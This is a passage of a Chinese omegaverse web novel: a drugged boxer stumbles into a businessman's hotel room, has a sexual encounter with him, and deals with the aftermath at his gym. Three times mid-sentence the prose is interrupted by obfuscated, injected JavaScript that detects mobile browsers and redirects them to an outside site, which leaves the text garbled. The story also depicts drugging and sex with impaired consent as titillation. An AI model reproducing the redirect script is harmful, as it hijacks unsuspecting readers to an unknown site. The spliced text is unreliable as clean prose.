若闻人晴是他二十五岁时的女朋友,那他也愿意多玩两年,大家什么也不想,只要开心就够了。但妈妈的忽然离世,让那个他可以随时回去的家消失了……洛城感觉自己像一棵孤零零的树,寂寂伫立在荒原之中。他忽然十分急切地渴望结婚,渴望生儿育女,原来的家没了,他需要建立一个新的家。 ……只可惜未能如愿。 视线不禁涣散开,洛城傻望着酒架上那一排排五颜六色的酒,心中忽然冒出一个想法:人人都觉得Alpha是世界的主宰,但其实Alpha也需要请求一个Omega的意愿,才能拥有后代……那这叫什么主宰呢? 唔,这样想好像也不太对……Alpha大多强壮,他们巧取豪夺的,Omega也不一定都有反抗的能力。 操,可我又不是那样的Alpha!洛城隐隐气闷。早知道Alpha不能自主生孩子,他还不如当个Omega呢……想生几个生几个,不必求人。 肯定得生一个女儿,长大后最好是分化成Omega,可爱又贴心;至于儿子嘛,可要可不要,Alpha更是没啥意思……正不着边际地幻想,这时,手边又递过来一杯酒。他心不在焉地拿过来继续啜饮,完全没注意里面加了助兴的药。 也许Alpha总是过于傲慢,笃信自己不会在性别纠纷中落于下风,所以不会加以防备。在察觉到自己的心跳过于剧烈,面颊也热烘烘地发烫时,洛城站起身,脚下已经有些不稳了。 “洛先生,我们一起去休息吧?”边上等待的Omega趁机黏上来,媚眼如丝,扶着他就要往出口走。洛城艰难地凝聚视线望去,只见对方美丽惑人、眼神渴望,身上一股信息素的香气浓烈扑鼻,但很奇怪,于他居然没有任何吸引力……! 那一刻,他下意识推开对方,狐疑地走近另一个Omega……这次的味道甚至令人作呕。他踉跄地退开几步,扶着墙将刚才喝下去的酒尽数吐了出来。 往日欲罢不能的香味变成避之不及的腐臭味,洛城头晕脑胀的,一时间只想尽快逃离这个臭不可闻的地方。他摇摇晃晃走到宴会厅边缘,有一名服务生见他神志不清,便尽职地上前询问:“洛先生,您需要开个房休息吗?” 休息?……艰难地思索两秒,他点点头,沙哑道:“快去。” 对方立刻小跑着离开。 ----------------------- 与此同时,夹层包厢里—— 钟书记扶着栏杆立在弧形阳台上,面无表情地注视着下方丑态百出的人群,端起茶杯不疾不徐地啜饮了一口。在堕落的欲望面前,不管是有钱的人还是有权的人,都会撕下伪装,暴露出最丑恶的本性,无一能逃脱。也许有人自视高贵,对此不以为然,但只要他有想要的东西,就会避无可避地滑进这混沌的泥潭里……或早或迟罢了。 闻人律,你也一样。 门口忽然“吱呀”一声,秘书张鹏快步走了进来,凑到他身边低声耳语:“书记,刚才罗四公子的人告诉我,那个Omega被闻人律打发出来了。他们在套间待了二十分钟,就只是干等着,什么都没有做。” 什么都没有做?钟为鸣冷笑,给你机会,你却阳奉阴违……看来一开始就打算糊弄我的。 放下茶杯,他不紧不慢地扯唇道:“毛头小子,跟我耍花招,你以为你能独善其身?”转过头吩咐张秘书:“叫人把他套间大门悄悄划开。虚掩着,再对那些Omega放出消息……我就不信,他能挡住这帮狂蜂浪蝶。” 张秘书犹豫一瞬,小心翼翼道:“书记,这样合适吗?他家在京城,也是有头有脸的家族啊。” 钟为鸣又是一声轻笑,不置可否:“我知道,闻人家嘛!网上管他们叫什么来着,京城八大家?呵,他们京城有,咱们申城未必就没有。一个毛头小子而已,脚跟还没站稳,就想一起分蛋糕……我管他什么京城八大家,来到申城这边,是龙你得盘着、是虎你得卧着,一切由我说了算!” 说到最后,他双眼微微一睁,神情忽然凌厉。张秘书大气不敢出一口,赶忙点点头,快步走出了包厢。 ------------------------ 拿着服务生递给他的房卡,洛城沉沉喘息着,手扶墙壁摇摇晃晃地朝电梯走,一路上用力推开了数个蠢蠢欲动的Omega。他感觉自己的状态有些怪异……跟易感期的反应不同,这一次他没有任何侵略的欲望,鼠蹊部不再鼓胀地跳动,反倒是腹部隐隐不适——内里某个地方好像在一抽一抽地痉挛、收缩。 强撑着走进电梯里,下到二十九楼,电梯门一打开,他立即被一个冒冒失失冲进来的人撞了一下肩膀。对方一身服务员打扮,抬眼见他身材高大,表情狰狞,顿时被吓得连连鞠躬:“不好意思不好意思!我不小心……您没事吧?” “……没事。”房卡被他撞得掉在了地上,洛城忍着不适躬下身,却发现有两张卡。翻到房卡正面,一张2906,一张2909,他刚才没仔细看,搞得现在分不清哪张是自己的了。没办法,他只能望向那个Beta服务员,拧着眉声音沙哑地问:“哪一张是你的?” 对方脸色青白,战战兢兢的,音调也非常勉强:“呃,是……2909吧?” 他犹豫地拿走2909那张卡,随即哭也似的冲洛城一笑,忙不迭退进了电梯之中。 望着逐渐关上的电梯门,洛城满心想着回房休息,不疑有他,攥着2906那张卡,挣扎地朝走廊深处走去。 身体越来越热了。 脑袋已经混沌到无法思考,洛城感觉肚子里的拉扯似乎越来越重,直揪得他冷汗涔涔,几乎难以站立!右手攥拳紧紧抵住小腹,他倒吸着凉气,艰难地往前磨蹭……这时,走廊前方似乎传来了一缕若有若无的香气,幽雅绵长,像某种他以前闻过的男士香水,茶香中混着一丝若有若无的兰香。 再仔细闻闻,那味道好像又不仅仅是香水……它还带着几分诱惑,仿佛是某个冷傲美人身上氤氲的体香,勾得他恍惚了眼神,踉踉跄跄地循着那缕气味追寻而去。 越往前走,香味便越明显。他迷迷糊糊地走到一扇门前,抬头望,门号是2906……感觉这个数字好像很熟悉,洛城抬起手,将房卡拿到自己眼跟前,上面果然印着2906四个烫金浮雕的小字!那一刻,他不禁疑惑地顿住了,用自己难以运转的大脑艰难地思索:是某个Omega在房里等我吗?这个盛筵……难道非得逼着人春宵一度不可? 然而来不及深入思考,摇晃的手掌轻轻撞到房门,那扇门无声地悠悠一转,敞开了一个不大不小的空隙。房内的幽暗之中立即涌出更加明显的香气,那缕若隐若现的兰香仿佛变成一线清晰的阳光,忽然变得可以捕捉了。 洛城的大脑瞬间宕机,只剩下一双迷离的眼痴痴望着那未知的幽暗,不由自主地摸了进去。 大门顺着他手臂的摆动轻轻关上,落锁,房卡掉在玄关,软绵绵地被地毯承托着,没有发出一丝声音。 黑暗中看不见家具,也看不见通道,一路摸索着行去,洛城的小腿和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572137|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膝盖被沙发、茶几撞到数次,却始终没有唤醒他的神志。他像一只渴水的野兽,顺着水源的湿气执着地向前追寻,这完全是遵从本性的。但其实他只要清醒一点,他就能发现,这股香气并不是源自一个Omega,而是源自Alpha。 洛城摸进了卧室里。 运动员本就敏锐的五感在黑暗中变得愈发灵敏,他听见不远处有一道平稳的呼吸声,是那种睡熟之后的规律吐息,而那香味也随着呼气而变得愈发浓郁。脚下渴求地前进一步,踩到不一样触感的地毯,洛城混沌的大脑忽然明白,自己离大床不远了。那个香得勾魂的Omega此时就躺在柔软的床上,睡美人一般等待着自己的到来。 他神魂颠倒地搂了过去。 软被下的身躯有些高大,抱在怀里满满的,十分充实。但洛城被欲望冲昏了头脑,只顾着埋头嗅闻、亲吻,神志全然消失了。对方不知为何有些迟钝,七八秒之后才从沉睡中醒过来,声音低回暗哑:“……搞什么,又来?”他嫌恶地说。 洛城迷迷糊糊地吻上他的脸,心里下意识回答,没有啊,我刚来……刚刚才发现你。 第一下吻到一个柔软的东西,应当是对方的唇,但想再吻第二下时,这人用力将自己推开了,低沉声音中陡然混入一丝难以置信:“怎么回事?你这个Omega……什么香味?” 黑暗中,洛城茫然地摇摇头,心说什么Omega,你才是Omega,你香得过分……意乱情迷地又扑上去,这一次对方用小臂挡在两人之间,但还是没有敌过他的蛮力,被用力压了下去。凌乱的亲吻之间,洛城直觉地寻求着发泻的出口,但却总感觉有什么地方不对劲……他好像没有侵略的欲望。 身体和皮肤的接触都是熟悉的,但那股渴望却如此陌生,使他像个无头苍蝇似的,找不到明确的出路,只会漫无目的地亲吻、纠缠,就像一只看见主人的大狗。也许是被他失序的气息感染,对方抵挡的力道逐渐弱了,平稳的呼吸变得急促,声音中也透出一丝咬牙切齿:“操……你到底懂不懂啊?” 身体忽然被一股巨大的力道掀翻,对方掐住他的脖子。这一刻,洛城才意识到这个人有多强壮……自己仿佛是被一只狮子扼住了喉咙。 混沌的大脑瞬间醍醐灌顶,一切都变得通明:原来如此,他想要的是这个……不是侵略,而是承受。 ---------------------- 两个小时之后,混乱终于平息。 ……房间像被飓风摧毁过。 枕头和被子都丢到了地上,不知什么地方破开一个裂口,鹅绒纷纷扬扬地铺了半个房间,贴住大汗淋漓的皮肤。床头柜的复古琉璃灯被碰倒了,水杯也是,在床单边缘洇开一大片深色的痕迹。床单中心也有一片深色湿痕,但那显然不是水杯造成的。 空气中弥漫着一股难以言喻的味道,分外挑动人的神经。 在浓郁的信息素中,洛城终于慢慢清醒过来。 身边的那个人沉沉喘息着,一言不发,不知道在想什么。他自己则浑浑噩噩的,仿佛处于一个可怕的梦境之中,就像站在床边,以一种抽离的第三人称视角旁观了刚才发生的一切事情。有那么几分钟的时间,洛城感到麻木且难以置信。他心里茫茫地想着,怎么会呢,怎么会发展成这样?自己不是个Alpha吗,怎么会对另一个Alpha的信息素产生了类似Omega的反应? 随后他又想到自己的事业,以及自己亟待解决的感情问题……直到这一刻,他才终于反应过来,刚才发生的事并不是梦境。 整个人顿时被一股巨大的惶恐和疑惑攫住了,恐惧像一只大手,从思绪的深处悄悄探出,用力攥紧了他剧烈跳动的心脏。 在令人窒息的黑暗之中,洛城瞪着双眼、紧咬牙关,懊恼得几乎咒骂出声。他忍不住想,万一这件事暴露了怎么办?支持者们都会弃他而去,他会遭受万众耻笑,伴侣和家庭也成了空想……想到那个场景,洛城几近崩溃地倒吸一口凉气,那动静似乎惊醒了身旁沉闷思索的人。对方呼吸一窒,随后沙哑地厉声低喝:“你们的目的达到了吧?……还不快滚!” 惊得浑身一颤,那瞬间,洛城终于大汗淋漓地醒了过来——他赶忙起身,忍着酸痛和不适爬下床,仓皇地摸过衬衣和长裤穿上,又抓起丢在地上的西装外套和皮带,跌跌撞撞地离开了这噩梦一般的房间。 4. 纠缠之后 早上九点半,睡过了头的战术教练曹磊急匆匆赶到场馆,却发现其他几名教练员居然坐在场边百无聊赖地玩手机,洛城依旧不见踪影。靶师小秦生无可恋地摊开手看他,了无生气道:“曹哥……不是说今早开练吗,他怎么又放我们鸽子啊?” “可能晚点来吧。”硬着头皮为洛城找补一句,曹磊自己都感觉这话过于苍白,不禁愁眉苦脸地背过身叹了口气。他走到八角笼后边,摸出手机给洛城发信息:“大哥,算我求你,你快来吧,不然咱们这个备赛团队要分崩离析了。” 过了五分钟,对面依旧毫无音讯,又打个电话过去,才发现这人居然关机了!这时,场馆门口熙熙攘攘走进来一行人,扛着大包小包的设备。曹教练扭头一望,见他们直直地朝这边走来,心中立即冒出了不妙的预感。 果然,为首那人走到近前,左右看一看,道:“我们是UFC摄像团队的,来拍摄洛城的赛前纪实。他人呢,你们今天不备赛么?” 至此,曹教练终于坚持不住了,露出一张哭丧的脸,可怜巴巴地拨通了闻人律的电话。 对面传来一个略显烦躁的声音:“喂?找我什么事。” “律总,不好意思打扰你,可我实在是想不出办法了……洛城昨天答应得好好的,说今天一定来训练,可直到现在也没见他的影子!UFC的摄像团队都到了,就在这儿等着呢,要拍赛前纪实,可他都不出现,人家拍什么呀?” 电话那头沉默两秒,随即是深深吸气的声音。闻人律耐着性子道:“他连电话也不接吗?” “关机了,打不通。” “……那就去他家找!”暴怒低吼的背景里传来一阵“呯咚”杂音,似乎是什么东西被踹翻了。曹教练被吓了一跳,心说老总今天怎么异常暴躁?但不敢多问,只得应一声“好”,忙不迭挂了电话。 一抬头,对上十来双期盼的眼。曹磊露出一个苦笑,强打精神道:“你们等等,我去去就回。” -------------------- 洛城住在距离场馆不远的一个高档小区里。 以往每一次打了胜仗,他都会招待教练团队去家里聚餐,一帮人喝个过瘾,不醉不归。曹磊沿着记忆中的路走到楼栋前,在门禁上输入洛城家的门牌号,但对面却一直没有应答,他也只能在门口干等。过了约莫五分钟,一名Beta男性抱着小孩儿走过来,好像是认识他,扭头问:“你们今晚又要聚餐?” 曹磊一愣,心想难道是邻居?犹豫地点点头:“啊……嗯。” “别吃得太晚啊。每次你们喝完回家,都在楼道里吵吵闹闹的,好几次撞到我家的门,把我儿子都吵醒了。”邻居抱怨归抱怨,但手上还是很热心地拉住门,把他让了进来。曹磊赶紧点点头,讪笑着保证:“好的好的,下次我们一定安静!” 进了电梯,邻居摁了楼层,抱着孩子又道:“……之前看洛城叫阵奥康纳,我还以为没戏呢,没想到你们居然真的争取到了。这次肯定是五回合的头条主赛吧,洛城的耐力不大好,他能打赢奥康纳吗?” 想不到对方还是名铁粉,曹磊不禁正色,认真道:“奥康纳的体力确实更好一些,但他的力量逊于洛城,所以我们会尽量在三回合内解决战斗,这样就不必跟他比拼耐力了。” 闻言,对方赞同地点点头:“确实应该这样。” 谈话间电梯到达8楼,两人一齐走出去,转向不同方向。一梯两户的格局,两家人的大门正对着。曹磊不想让这位粉丝看到洛城懒散的模样,所以磨磨蹭蹭的,一直等他把门关上了,才小心地摁下“0316”四位数密码。 屋内一片寂静。 玄关有些乱,两只皮鞋一前一后地躺在地板上,中间隔了将近两米,可以想象鞋子的主人在脱下它们时是多么的心不在焉。西装外套随意丢在沙发边缘,领带长长地挂下来,上头满是折痕,仿佛被狠狠蹂躏过一通。走近些,曹磊闻到了一股略微腐臭的复杂气味,其中混合着许多酒味、Alpha和Omega的信息素味、以及淡淡的腥咸味。 看来昨夜是去酒吧厮混了。忍不住叹一口气,他摇摇头,转身望向卧室的走廊,半晌,犹豫着喊了一声:“阿城?” 无人应答。曹磊只得走过去,慢慢踱向主卧。 房门没关。他试探着伸长脖子,通过大开的门扉,一眼就看见洛城面无血色地坐在床上,薄毯滑到腰腹间,警惕又戒备地望着自己,仿佛一只负伤的野兽。 被吓了一跳,曹磊长吁一口气,哭笑不得道:“大哥,你醒着就应我一声啊!静悄悄的干嘛?” 洛城没搭理他,虽然神情放松了些,但情绪依旧低落。他伸手把薄毯拉过头顶,闷声不吭地又躺了下去。直到这时,曹磊才注意到他居然穿了全套睡衣,侧躺时全身呈现一种婴孩般的蜷缩姿态,薄毯裹得很紧,只露出些许乱糟糟的卷发。 见状,曹磊不禁怔住了——洛城虽然偶尔会懒散放纵,喝酒高兴了就得意忘形,涎皮赖脸地翘几次训练,但他的性格一直是乐观的,大方豪气、不拘小节,从未出现过这种消极抵抗的举动。怀疑他是感情上受了挫,曹磊犹豫着靠近一些,坐到床边斟酌着道: “那个,阿城,我不清楚你为什么不想训练……你要是想休息,可以跟我们说一声,让我们心里有个底,工作也好安排。但你现在什么都不说,电话也不接,这让大家很难办啊……正好UFC的摄影团队又来了,说要拍你的赛前纪实。他们问我今天是不是不训练,我都不知道该怎么回答。” 掏心掏肺地说了一大堆,这人依旧死气沉沉地趴在被子里,一动不动,曹磊只好继续劝慰:“你与其趴在这里,不如出去走走?心情不好是不能独处的,你要去做一些别的事情转移注意力,比如打打拳啊、跑跑步啊,发泄一下情绪,这样才有用。怎么样,跟我去一趟训练馆吧?今天就随便热身一下,不安排其他的。” 被子里还是悄无声息。 无法,曹磊心累地长长叹息一声,只得放弃:“……行吧,你不想去,那我也没法儿强求。不过你至少要把手机打开,不然把律总惹毛了,咱们都吃不了兜着走。” 说完,他站起身正要离去,床上突然一阵窸窣,洛城形容枯槁地坐了起来:“你等等,我跟你去。”他的嗓子哑了,一把声音粗嘎得厉害,兼带着浓浓的鼻音:“我去换身衣服。” 见他动作蹒跚、腰背僵硬地爬下床,曹磊不禁拧起眉,露出了困惑的表情。 ---------------------- 下午,陆庭风出差回来,第一时间就赶到了办公室。不料闻人律居然不在,办公室空荡荡的,只有林秘书和唐秘书在忙活。 “律总今早没来,说有点儿私事,还推迟了两个会议。”唐秘书说。这可把陆庭风给惊着了——要知道闻人律是个工作狂来的,上班风雨无阻,也就只有周末会休息个一天半天。心底不禁起了疑虑,陆庭风想起昨晚那个隐秘的盛筵,心说不会出了什么“意外”吧?下意识抿紧唇,他讳莫如深地转转眼珠,一转身正要赶往闻人律的宅子,这个人就西装革履地从电梯里走出来了,还冷着脸骂他一句:“你什么表情,神经兮兮的。” 陆庭风立刻揽住他肩把人往办公室里带。 “你怎么了,居然翘班?昨晚不是好好的么,还发信息跟我报喜呢,是不是后来发生了什么事?” 闻人律没答他,兀自走到桌边,不紧不慢地倒了杯水喝,仿佛无事发生。但陆庭风跟他七八年的交情了,一眼就看出他在努力平息情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572138|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪——这人正深呼吸呢,肩背大幅度起伏,紧咬的牙关把腮帮子都绷了出来。赶忙屏息静气地小跑过去,陆庭风给他倒了杯茶,小心翼翼地猜测道:“难道昨晚……你着了道儿了?” 闻人律头疼地揉了揉眉心。 反正也没心情工作,他干脆坐到沙发上,自暴自弃地点燃一支烟,猛吸一口:“昨晚我本来找了个Omega当幌子,带着她一起去跟钟书记见面。跟你发信息那会儿,我已经从包厢出来了,本打算直接回家,但想着做戏要做全套,就跟那个Omega开了间房。” “……做了?”陆庭风不敢相信。 “没做!”闻人律瞪他一眼,浑身的郁躁几乎要化为实体,像火焰一样腾起来:“我怎么可能跟那种乱七八糟的人做!她在房里坐了二十分钟,我就拿一笔钱打发她走了!……她走之后,我没想太多,吃一颗安眠药就睡了。结果不知道怎么的,居然被另一个Omega摸了进来,而且正处于热潮期,浑身是味儿!那人力气特别大,我一开始都没推开!” 一开始没推开?那意思是后来推开了,但却没守住? 陆庭风眼观鼻、鼻观心,识趣地没提这一茬,转而宽慰道:“你去钟书记的场子,他不可能让你全身而退的……你越高风亮节,就衬得他们越下作,这样让人家怎么安心呢?好啦,事已至此,你也别想太多,毕竟这圈子里谁还不打个随手炮啊,对不对?不怕跟你说实话,我都打过,就你吹毛求疵!又嫌这个不干净,又嫌那个有所图谋……” 闻人律闷声听着,眉心依旧紧锁,一言不发。他想起了昨晚那具强壮而滑腻的身体……像蟒蛇一般与自己纠缠,过分亲昵、过分投入,忘情地不断索吻,搞得他也有些头脑发热了。闻人律忍不住怀疑,昨晚的宴会上是不是有什么违禁的药?类似于催晴的、让人失去理智的,不然根本无法解释……他明明吃了抑制药的,不是么? 陆庭风说着说着,撇眼一看,眼前这人明显心不在焉,一双狭长的眸子失神地盯着某处,仿佛在回忆什么片段。默默住了嘴,他安静一会儿,忽然想到什么,赶忙问:“……昨晚你戴套没有?” 闻人律愕然抬起头:“第一回忘了戴……他们不是都吃避孕药的吗?” “我的哥啊,你真是太不了解那些人了!”陆庭风痛心疾首地大叫起来,唉声叹气道:“虽然安保会盯着他们吃避孕药,但总会有人蒙混成功的呀!你想想,参加宴会的人非富即贵,随便抓一个都是有头有脸的人物,那些人能不动心吗?就不说把孩子生下来挟子上位了,只要能怀上,随便找上门哭个几句,一百万打胎费就到手了,他们凭什么不铤而走险呢?” 这下闻人律的脸是彻底黑了,如遭雷轰一般,声音都是从牙缝里挤出来的:“真想不到,我不过赴个宴,居然连后代都被人算计了……好,好,想怀我的孩子是吧,也要看他有没有那个本事!” 将烟头恶狠狠地摁进烟灰缸里,他立即拨通一个号码,走到落地窗前神情冷酷地吩咐了几句话。陆庭风零碎地听见几个形容词,“身材高大”、“肌肉结实”一类,不禁有些难以置信。他想,现在夜场的Omega已经变成这一款了?以前不都流行纤细秀气的吗?疑心自己是不是跟不上时代了,他暗搓搓地想跟闻人律再打探几句,这人却把手机一收,神情冷峻地坐到了办公桌后面。 见他打开电脑开始处理早上积压的工作,陆庭风自觉没趣,悻悻地转过身正准备回自己办公室,身后却又传来了椅子被推开的声音。闻人律大步流星地错开他往门口走,神情冷峻、眼神锐利,仿佛要去找某个人算账。陆庭风下意识跟了上去,一边小跑一边问:“你去哪儿啊?” “曹教练早上打电话说洛城又翘了训练!……我得去问问他,究竟还想不想比赛了!” 5. 听说你在查一个人? 办公楼距离训练馆有些远,即使不堵车,也需要半个钟头才能到达,所以闻人律一直想拿下江源那块地,开发一个集办公、训练、康复、运动餐饮为一体的训练中心。这样不仅便于管理,一些战术学习和研究也能相应地开展起来,其他项目的运动员比如短跑和球类等,也能到此购买相应的训练和康复服务,以维持场馆的运转。 当然,这一切都要等那块地拍到手再说。 来到训练馆,闻人律冷着脸气势汹汹地穿过大厅往实战区走。陆庭风跟在他身旁,忍不住急慌慌地替洛城说话:“你也别太生气。他妈妈刚走没多久,又被小晴甩了,颓废几天很正常。况且他这人本来就有点吊儿郎当的,天性如此,你逼他也没用……” 心惊胆战地跟着他来到场地边缘,沉闷的击打声就在前方,已经清晰可闻。闻人律忽然间停下了,双眼审视地望着不远处洛城专心练习的身影,冰冷面色逐渐有了一丝松动。 瞥见他如此表现,陆庭风立即放下心来,揶揄地发笑:“怎么样,他懒散归懒散,实力还是独一档的吧?” 闻人律不耐烦地瞪他一眼:“不然你以为我为什么忍着他?” 世人总以为天才是1%的天赋加99%的汗水,然而事实却不是这样。“登峰”成立四年,闻人律一共签了67名格斗运动员,类别横跨拳击、踢拳、综合格斗以及柔道,他们当中,训练比洛城刻苦的大有人在,但如今挤进世界前十的却只有洛城一个。天赋的差距是汗水无法弥补的,这就是洛城只用别人50%的努力就能轻松碾压的原因。 迅疾的出拳、细微但恰到好处的灵巧摇闪、独树一帜的节奏变化,只要进了八角笼,洛城就会一改台下的散漫德行,变成最专注、最耀眼的斗士。闻人律没有再往前走,他静静地立在十米之外,认真地欣赏着洛城的拳法和脚步移动,同时在心里仔细评价他的备赛状态: 这人今日不知为何穿了训练短袖,一反常态地将结实肌肉都藏了起来,脚步也有些迟滞;出拳虽然迅猛,但节奏忽然变得很单一,且毫无变化,只是卯足了劲儿闷头猛打……靶师小秦都被打蒙了,抱着手靶倒在笼角,表情痛苦地不断吸气,声音带出哭腔:“城哥,你让我缓缓……我不行了。” 闻人律皱起了眉心。 正好曹磊扭头回望,一看见他,立马绷紧后颈皮小跑着迎上来,轻声招呼他:“律总,你来啦。” 闻人律扬起下巴朝洛城虚虚一点,语气中透出不满:“他怎么回事。冤有头债有主,他跟谁受了委屈就找谁说去,拿靶师泄愤干什么?” “这……”曹磊讪笑着打哈哈:“可能对方身份显贵,不好找上门算账呢?哎律总你就别管啦,他把怨气发出来,也有利于备赛,不然咱们团队老是没事儿做,心里不踏实啊。” 他都这样表示了,闻人律也不好再说什么。反正洛城肯回来备赛已经是万事大吉,一些细节就让他们自己把控吧。 想起方才曹磊说的赛前纪实团队,闻人律拧眉张望一会儿,又问:“那几个拍赛前纪实的呢?” “哦,他们在隔壁训练室,拍伍沛霖的片段。” 伍沛霖跟洛城是同个量级的,只不过排名靠后一些,仅为第十四位,在这次数字赛中混到一场主赛。闻人律点点头:“行,我去看看。” 他大步朝隔壁走去,陆庭风却留了下来,跟曹磊哥俩好地点燃一支烟,笑嘻嘻地闲聊。这家伙在暗地里悄悄地编排自家老友:“劳心劳力的命……一个赛前纪实而已,这也要去亲自把关!人家是专业团队,不知拍了多少期了,难不成还能出什么差错?” 他敢这样说,曹磊却不敢顺着他的话附和:“哎哟陆秘,你可别小看赛前纪实,这种东西失之毫厘差之千里,要是拍到不好的镜头啊,那场外赔率马上就得发生变化!而且你也知道,另外那家公司,喏,腾云,就等着抓我们的倏忽呢!律总谨慎一点儿也是可以理解的……” “那也不必亲力亲为呀,交待经纪人把控不就得了?” “你也知道洛城那个经纪人……说实话,能力比较一般。” “也是。洛城就是太讲义气了,什么阿猫阿狗都要留着。” 他们谈话间,闻人律已经在隔壁找到赛前纪实团队,仔细翻阅了洛城今日的备赛片段。望着视频中他明显有些虚浮的呼吸和毫无节奏的出拳,闻人律面色森然,眼神不禁愈发冷峻。摄影团队被他的气势威慑住,战战兢兢地小声问:“老总,有什么不好的地方吗?” “删掉吧。”他狭长的双眸泠然抬起,视线坚定而不容置喙:“洛城的片段,你们明天再拍一次,今天的不能用。” “啊?”一个像是摄影助理的人在后头不满地低叫出声,企图争辩:“我们今天拍了三个多钟……” 对他的抗议充耳不闻,闻人律只垂眸盯着为首的那个人,高挑身材带着十足的气势,不容商量地道:“我知道你们要连拍几天的,今天的没了,明后天补回来就是。加班费我会给,到时候你们把工时报给我秘书就行。” 闻言,对方只得默默住了嘴,在他的注视下把今天拍的片段逐一删了个干净。 ---------------------- 暌违三个星期后正式开始备赛训练,洛城发现,自己的体力似乎下降了许多。 只练一个半钟就开始疲惫,当他说出要休息时,训练组的人都有些诧异,忍不住小声提醒:“城哥,你十分钟前刚歇过……” 心烦意乱地瞪对方一眼,洛城又痛又乏,耐性早已所剩无几:“我昨晚没睡好,今天没状态,不行吗?!” 他都这样说了,别人还能怎么办?只能默默地闭上嘴,任他走出了八角笼。 精疲力尽地来到场地旁的软垫座椅坐下,洛城小心翼翼地挪动一下身体,换了个不那么难受的坐姿。额顶像淋雨似的疯狂往下流汗,不是一滴一滴,而是一行一行——这出汗量也有些异常,不是往常那种酣畅淋漓的痛快感,而是虚弱的、空荡荡的汗水,将他强壮的身体一点点抽干。 用力拽掉半指拳套,撑着脸虚浮地呼吸,洛城努力让自己不要去回想昨夜的事,但身体异样的感觉却不肯放过他,如骨附蛆,阴魂不散。他老觉得那处热辣辣的、胶粘粘的,像撕裂出了血,干涸后沾住了他的皮肤。 想去卫生间确认一下,但刚站起身,昨晚饱受摧残的腰背立即传来一阵酸痛,令他咬牙切齿地“啧”了一声。扶着腰慢吞吞地蹭到卫生间,走进最角落的隔间里,洛城急匆匆落了锁,脱下裤子用纸巾轻轻触碰一下,拿出来看,上头却白白净净的,只有一点湿痕! ……居然没出血么? 难以置信地拧起眉,洛城被这离谱的事实气得几乎笑出声:他又不是Omega,那地方本就不是为那事儿而生的,结果现在居然毫发无伤?不信邪地又忍着痛轻擦一下,这次湿痕的面积更大了,却依旧没有血迹。不过,这片痕迹是什么……? 隔着纸轻轻搓一下,有些粘,凑过去嗅一嗅,也没什么异味。望着这片诡异的痕迹,洛城心底慢慢升起一股难言的恐慌:自己的身体不会出了什么问题吧……这时,两个Alpha大声说笑着走进卫生间,将他吓了一跳,纸巾猝不及防地抖落在地。无暇再胡思乱想,洛城赶忙捡起纸巾丢进马桶,急匆匆按下了冲水键。 走出卫生间时,迎面撞到一个人,“哎哟”的喊叫极其夸张。听见这熟悉的声音,洛城一股彻骨的恼恨立即直冲到脑门,二话不说揪住对方的衣领拖到了场馆角落去:“我□□的李志明!……你昨晚骗我去的那个宴会到底是什么鬼东西?乱七八糟的,酒里什么药都加!” “啊?”李志明惊魂未定地被压在墙上,整个人被提得踮起脚,摇摇晃晃的:“就是常规的助兴药啊……” “那怎么我……!”质问冲口而出,又戛然而止,看见洛城懊悔而慌乱的眼神,李志明心惊胆战地思索几秒,小心翼翼问:“城哥,难不成,你被那些Omega讹上啦?” 昨夜的事情没法儿说出口,也不能说出口,洛城心慌意乱地“唔”一声,顺水推舟道:“被讹了几万块。” 他掩饰地偏开脸,手里将人松开,暗暗懊恼自己的冲动。这时,李志明在身后轻啧一声,自言自语似的嘀咕:“怎么昨晚的场子这么乱?又是讹人,又是擅闯房间的……雷哥那群手下真是越来越没规矩了。” 耳朵不禁一跳,洛城惊惧地回头望向他,声音僵细得仿佛轻轻一折便可掰断:“什么擅闯……?” 没注意到他的表情,李志明兀自头疼着,随口道:“昨夜那些小美人惹事了。有个Omega擅自摸进了某个大人物的房间里,也不知道他怎么搞到的房卡……现在人家正在查呢。听说对方家里有权有势的,雷哥没办法,只好让手下人排查一下,看那个Omega是谁招进来的。” 洛城感觉自己的体温似乎降到了冰点,连呼吸都带着冷雾:“查到了吗?” “没呢!”李志明大叹一口气,不解道:“听说那个Omega长得高大健壮,肯定很显眼的,但偏偏没一个人有印象,你说奇不奇怪?”说到这儿,他终于抬头望向洛城:“城哥,你昨晚在宴会上有看见这样的Omega吗?” “……高大强壮的?”这一刻,洛城的心脏几乎要从嘴里跳了出来,仅剩一丝意志力在勉强维持镇定:“我,我好像看见过。他……他是个外国人,金色短卷发,很高,我一开始还以为他是Alpha。” 说谎好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572139|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 